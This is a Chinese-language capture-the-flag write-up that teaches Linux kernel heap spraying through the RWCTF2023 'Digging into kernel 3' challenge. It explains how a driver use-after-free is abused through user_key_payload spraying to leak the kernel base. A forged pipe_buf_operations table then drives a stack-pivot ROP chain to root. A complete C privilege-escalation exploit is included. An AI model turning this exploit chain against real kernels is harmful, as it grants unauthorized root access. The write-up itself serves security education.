Heap Spray

堆喷射（heap spraying）指的是一种辅助攻击手法：「通过大量分配相同的结构体来达成某种特定的内存布局，从而帮助攻击者完成后续的利用过程」，常见于如下场景：

• 你有一个 UAF，但是你无法通过少量内存分配拿到该结构体（例如该 object 不属于当前 freelist 且释放后会回到 node 上，或是像 add_key() 那样会被一直卡在第一个临时结构体上），这时你可以通过堆喷射来确保拿到该 object。

• 你有一个堆溢出读/写，但是堆布局对你而言是不可知的（比如说开启了 SLAB_FREELIST_RANDOM（默认开启）），你可以预先喷射大量特定结构体，从而保证对其中某个结构体的溢出。

• ......

作为一种辅助的攻击手法，堆喷射可以被应用在多种场景下。

例题：RWCTF2023体验赛 - Digging into kernel 3

本篇为了介绍堆喷射这一手法，同时为了使用更多不同的结构体，笔者会用比较复杂的思路去解题。

题目分析

按惯例查看启动脚本，发现开启了 SMEP、SMAP、KASLR、KPTI：

#!/bin/sh

qemu-system-x86_64 \
	-m 128M \
	-nographic \
	-kernel ./bzImage \
	-initrd ./rootfs.img \
	-enable-kvm \
	-cpu kvm64,+smap,+smep \
	-monitor /dev/null \
	-append 'console=ttyS0 kaslr kpti=1 quiet oops=panic panic=1 init=/init' \
	-no-reboot \
	-snapshot \
	-s

文件系统里给了一个 rwctf.ko ，拖入 IDA 进行分析，发现只定义了一个 ioctl，提供了两个功能：

• 0xDEADBEEF：分配一个任意大小的 object 并能写入数据，分配 flag 为 __GFP_ZERO | GFP_KERNEL，不过我们只能同时有两个 object。

• 0xC0DECAFE：释放一个之前分配的 object ，存在 UAF。

image.png

我们需要传入如下结构体：

struct node {
    uint32_t idx;
    uint32_t size;
    void *buf;
};

经过笔者测试，出题人手动关闭了如下默认开启的保护（出题人为了降低题目难度，可能关的更多，笔者只测了这几个）：

• 关闭了 CONFIG_MEMCG_KMEM，这使得GFP_KERNEL 与 GFP_KERNEL_ACCOUNT 会从同样的 kmalloc-xx 中进行分配

• 关闭了 CONFIG_RANDOMIZE_KSTACK_OFFSET，这使得固定函数调用到内核栈底的偏移值是不变的

• 关闭了 SLAB_FREELIST_HARDENED，这使得 freelist 几乎没有任何保护，我们可以轻易完成任意地址分配 + 任意地址读写

不过在笔者看来 出题人其实没有必要自降难度 ，下面笔者将给出在这三种保护开启时也能完成利用的方法 ：）

漏洞利用

既然题目中已经直接白给出了一个无限制的 UAF，那么利用方式就是多种多样的了，这里笔者选择使用 user_key_payload 来完成利用。

Step.I - 堆喷 user_key_payload 越界读泄露内核基地址

在内核当中存在一个用于密钥管理的子系统，内核提供了 add_key() 系统调用进行密钥的创建，并提供了 keyctl() 系统调用进行密钥的读取、更新、销毁等功能：

        #include <sys/types.h>
        #include <keyutils.h>

        key_serial_t add_key(const char *type, const char *description,
                                    const void *payload, size_t plen,
                                    key_serial_t keyring);
//...
       #include <asm/unistd.h>
       #include <linux/keyctl.h>
       #include <unistd.h>

       long syscall(__NR_keyctl, int operation, __kernel_ulong_t arg2,
                    __kernel_ulong_t arg3, __kernel_ulong_t arg4,
                    __kernel_ulong_t arg5);

当我们调用 add_key() 分配一个带有 description 字符串的、类型为 "user" 的、长度为 plen 的内容为 payload 的密钥时，内核会经历如下过程：

• 首先会在内核空间中分配 obj 1 与 obj2，分配 flag 为 GFP_KERNEL，用以保存 description （字符串，最大大小为 4096）、payload （普通数据，大小无限制）

• 分配 obj3 保存 description ，分配 obj4 保存 payload，分配 flag 皆为 GFP_KERNEL

• 释放 obj1 与 obj2，返回密钥 id

其中 obj4 为一个 user_key_payload 结构体，定义如下：

struct user_key_payload {
	struct rcu_head	rcu;		/* RCU destructor */
	unsigned short	datalen;	/* length of this data */
	char		data[] __aligned(__alignof__(u64)); /* actual data */
};

//...

struct callback_head {
	struct callback_head *next;
	void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

类似于 msg_msg，user_key_payload 结构体有着一个固定大小的头部，其余空间用来存储来自用户空间的数据（密钥内容）。

keyctl() 系统调用为我们提供了读取、更新（分配新对象，释放旧对象）、销毁密钥（释放 payload）的功能，其中读取的最大长度由 user_key_payload->datalen 决定，我们不难想到的是我们可以利用题目提供的 UAF 将user_key_payload->datalen 改大，从而完成越界读。

注意以下两点：

• 这里我们的 description 字符串需要和 payload 有着不同的长度，从而简化利用模型。

• 读取 key 时的 len 应当不小于 user_key_payload->datalen，否则会读取失败。

但是这里有一个问题：add_key() 会先分配一个临时的 obj1 拷贝 payload 后再分配一个 obj2 作为 user_key_payload，若我们先分配一个 obj 并释放后再调用 add_key() 则该 obj 不会直接成为 user_key_payload ，而是会在后续的数次分配中都作为拷贝 payload 的临时 obj 存在。

但我们可以通过堆喷将 UAF obj 分配到 user_key_payload，考虑如下流程：

• 利用题目功能构建 UAF object。

• 堆喷射 user_key_payload ，UAF obj 作为拷贝 payload 的临时 obj 存在。

• kmem_cache_cpu 的 slub page 耗光，向 node 请求新的 slub page 分配 user_key_payload ，完成后 UAF obj 被释放并回到 kmem_cache_node。

• 继续堆喷 user_key_payload ，kmem_cache_cpu 的 slub page 耗光，向 node 请求新的 slub page 分配 user_key_payload 。

• UAF obj 所在页面被取回，UAF obj 被分配为 user_key_payload 。

• 利用题目功能再次释放 UAF obj，利用题目功能进行堆喷获取到该 obj，从而覆写 user_key_payload 。

注：官方题解中进行地址泄露也是利用类似的做法。

不过笔者觉得其实直接利用题目分配 obj1 和 obj2 后全部释放，之后再在 obj2 上弄 UAF 就行了：) 这里采用这种做法只是为了介绍 heap spraying 这一手法。

笔者将在 Step.II 中使用这种方法。

接下来我们考虑越界读取什么数据，这里我们并不需要分配其他的结构体， rcu_head->func 函数指针在 rcu 对象被释放后才会被写入并调用，但调用完并不会将其置为 NULL，因此我们可以通过释放密钥的方式在内核堆上留下内核函数指针，从而完成内核基址的泄露。

Step.II - UAF 泄露可控堆对象地址，篡改 pipe_buffer 劫持控制流

可以用来控制内核执行流的结构体有很多，但是我们需要考虑如何完整地执行 commit_creds(prepare_kernel_cred(NULL)) 后再成功返回用户态，因此我们需要进行栈迁移以布置较为完整的 ROP gadget chain。

由于题目开启了 SMEP、SMAP 保护，因此我们只能在内核空间伪造函数表，同时内核中的大部分结构体的函数表为静态指定（例如 tty->ops 总是 ptm（或pty）_unix98_ops），因此我们还需要知道一个内容可控的内核对象的地址，从而在内核空间中伪造函数表。

这里笔者选择管道相关的结构体完成利用；在内核中，管道本质上是创建了一个虚拟的 inode 来表示的，对应的就是一个 pipe_inode_info 结构体：

struct pipe_inode_info {
	struct mutex mutex;
	wait_queue_head_t rd_wait, wr_wait;
	unsigned int head;
	unsigned int tail;
	unsigned int max_usage;
	unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
	bool note_loss;
#endif
	unsigned int nr_accounted;
	unsigned int readers;
	unsigned int writers;
	unsigned int files;
	unsigned int r_counter;
	unsigned int w_counter;
	struct page *tmp_page;
	struct fasync_struct *fasync_readers;
	struct fasync_struct *fasync_writers;
	struct pipe_buffer *bufs;
	struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
	struct watch_queue *watch_queue;
#endif
};

同时内核中会分配一个 pipe_buffer 结构体数组，每个 pipe_buffer 结构体对应一张用以存储数据的内存页：

struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};

pipe_buf_operations 为一张函数表，当我们对管道进行特定操作时内核便会调用该表上对应的函数，例如当我们关闭了管道的两端时，会触发 pipe_buffer->pipe_buffer_operations->release 这一指针，由此我们便能控制内核执行流，从而完成提权。

struct pipe_buf_operations {
	//...

	/*
	 * When the contents of this pipe buffer has been completely
	 * consumed by a reader, ->release() is called.
	 */
	void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

那么这里我们可以利用 UAF 使得 user_key_payload 与 pipe_inode_info 占据同一个 object， pipe_inode_info 刚好会将 user_key_payload->datalen 改为 0xFFFF 使得我们能够继续读取数据，从而读取 pipe_inode_info 以泄露出 pipe_buffer 的地址。

而 pipe_buffer 是动态分配的，因此我们可以利用题目功能预先分配一个对象作为 pipe_buffer 并直接在其上伪造函数表即可。

对于笔者来说比较麻烦的倒是找栈迁移的 gadget...好在最后还是成功找到了一些合适的 gadget。

EXPLOIT

最后的 exp 如下：

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
#include <stdint.h>
#include "kernelpwn.h"

/* kmalloc-192 has only 21 objects on a slub, we don't need to spray to many */
#define KEY_SPRAY_NUM 40

#define PIPE_INODE_INFO_SZ 192
#define PIPE_BUFFER_SZ 1024

#define USER_FREE_PAYLOAD_RCU 0xffffffff813d8210
#define PREPARE_KERNEL_CRED 0xffffffff81096110
#define COMMIT_CREDS 0xffffffff81095c30
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81e00ed0

#define PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250c9d
#define POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250ca4
#define POP_RDI_RET 0xffffffff8106ab4d
#define XCHG_RDI_RAX_DEC_STH_RET 0xffffffff81adfc70

int dev_fd;

struct node {
    uint32_t idx;
    uint32_t size;
    void *buf;
};

/**
 * @brief allocate an object bby kmalloc(size, __GFP_ZERO | GFP_KERNEL )
 * __GFP_RECLAIM = __GFP_KSWAPD_RECLAIM | __GFP_DIRECT_RECLAIM 
 * GFP_KERNEL = __GFP_RECLAIM | __GFP_IO | __GFP_FS
 * 
 * @param idx 
 * @param size 
 * @param buf 
 */
void alloc(uint32_t idx, uint32_t size, void *buf)
{
    struct node n = {
        .idx = idx,
        .size = size,
        .buf = buf,
    };

    ioctl(dev_fd, 0xDEADBEEF, &n);
}

void del(uint32_t idx)
{
    struct node n = {
        .idx = idx,
    };

    ioctl(dev_fd, 0xC0DECAFE, &n);
}

int main(int argc, char **argv, char **envp)
{
    size_t *buf, pipe_buffer_addr;
    int key_id[KEY_SPRAY_NUM], victim_key_idx = -1, pipe_key_id;
    char desciption[0x100];
    int pipe_fd[2];
    int retval;

    /* fundamental works */
    bindCore(0);
    saveStatus();

    buf = malloc(sizeof(size_t) * 0x4000);

    dev_fd = open("/dev/rwctf", O_RDONLY);
    if (dev_fd < 0) {
        errExit("FAILED to open the /dev/rwctf file!");
    }

    /* construct UAF on user_key_payload */
    puts("[*] construct UAF obj and spray keys...");
    alloc(0, PIPE_INODE_INFO_SZ, buf);
    del(0);

    for (int i = 0; i < KEY_SPRAY_NUM; i++) {
        snprintf(desciption, 0x100, "%s%d", "arttnba", i);
        key_id[i] = key_alloc(desciption, buf, PIPE_INODE_INFO_SZ - 0x18);
        if (key_id[i] < 0) {
            printf("[x] failed to alloc %d key!\n", i);
            errExit("FAILED to add_key()!");
        }
    }

    del(0);

    /* corrupt user_key_payload's header */
    puts("[*] corrupting user_key_payload...");

    buf[0] = 0;
    buf[1] = 0;
    buf[2] = 0x2000;

    for (int i = 0; i < (KEY_SPRAY_NUM * 2); i++) {
        alloc(0, PIPE_INODE_INFO_SZ, buf);
    }

    /* check for oob-read and leak kernel base */
    puts("[*] try to make an OOB-read...");

    for (int i = 0; i < KEY_SPRAY_NUM; i++) {
        if (key_read(key_id[i], buf, 0x4000) > PIPE_INODE_INFO_SZ) {
            printf("[+] found victim key at idx: %d\n", i);
            victim_key_idx = i;
        } else {
            key_revoke(key_id[i]);
        }
    }

    if (victim_key_idx == -1) {
        errExit("FAILED at corrupt user_key_payload!");
    }

    kernel_offset = -1;
    for (int i = 0; i < 0x2000 / 8; i++) {
        if (buf[i] > kernel_base && (buf[i] & 0xfff) == 0x210) {
            kernel_offset = buf[i] - USER_FREE_PAYLOAD_RCU;
            kernel_base += kernel_offset;
            break;
        }
    }

    if (kernel_offset == -1) {
        errExit("FAILED to leak kernel addr!");
    }

    printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%lx\n", kernel_offset);
    printf("\033[32m\033[1m[+] Kernel base: \033[0m0x%lx\n", kernel_base);

    /* construct UAF on pipe_inode_buffer to leak pipe_buffer's addr */
    puts("[*] construct UAF on pipe_inode_info...");

    /* 0->1->..., the 1 will be the payload object */
    alloc(0, PIPE_INODE_INFO_SZ, buf);
    alloc(1, PIPE_INODE_INFO_SZ, buf);
    del(1);
    del(0);

    pipe_key_id = key_alloc("arttnba3pipe", buf, PIPE_INODE_INFO_SZ - 0x18);
    del(1);

    /* this object is for the pipe buffer */
    alloc(0, PIPE_BUFFER_SZ, buf);
    del(0);

    pipe(pipe_fd);

    /* note that the user_key_payload->datalen is 0xFFFF now */
    retval = key_read(pipe_key_id, buf, 0xffff);
    pipe_buffer_addr = buf[16]; /* pipe_inode_info->bufs */
    printf("\033[32m\033[1m[+] Got pipe_buffer: \033[0m0x%lx\n", 
            pipe_buffer_addr);

    /* construct fake pipe_buf_operations */
    memset(buf, 'A', sizeof(buf));

    buf[0] = *(size_t*) "arttnba3";
    buf[1] = *(size_t*) "arttnba3";
    buf[2] = pipe_buffer_addr + 0x18;  /* pipe_buffer->ops */
    /* after release(), we got back here */
    buf[3] = kernel_offset + POP_RBX_POP_RBP_POP_R12_RET;
    /* pipe_buf_operations->release */
    buf[4] = kernel_offset + PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET;
    buf[5] = *(size_t*) "arttnba3";
    buf[6] = *(size_t*) "arttnba3";
    buf[7] = kernel_offset + POP_RDI_RET;
    buf[8] = NULL;
    buf[9] = kernel_offset + PREPARE_KERNEL_CRED;
    buf[10] = kernel_offset + XCHG_RDI_RAX_DEC_STH_RET;
    buf[11] = kernel_offset + COMMIT_CREDS;
    buf[12] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x31;
    buf[13] = *(size_t*) "arttnba3";
    buf[14] = *(size_t*) "arttnba3";
    buf[15] = getRootShell;
    buf[16] = user_cs;
    buf[17] = user_rflags;
    buf[18] = user_sp + 8; /* system() wants it : ( */
    buf[19] = user_ss;

    del(0);
    alloc(0, PIPE_BUFFER_SZ, buf);

    /* trigger pipe_buf_operations->release */
    puts("[*] trigerring pipe_buf_operations->release()...");

    close(pipe_fd[1]);
    close(pipe_fd[0]);

    return 0;
}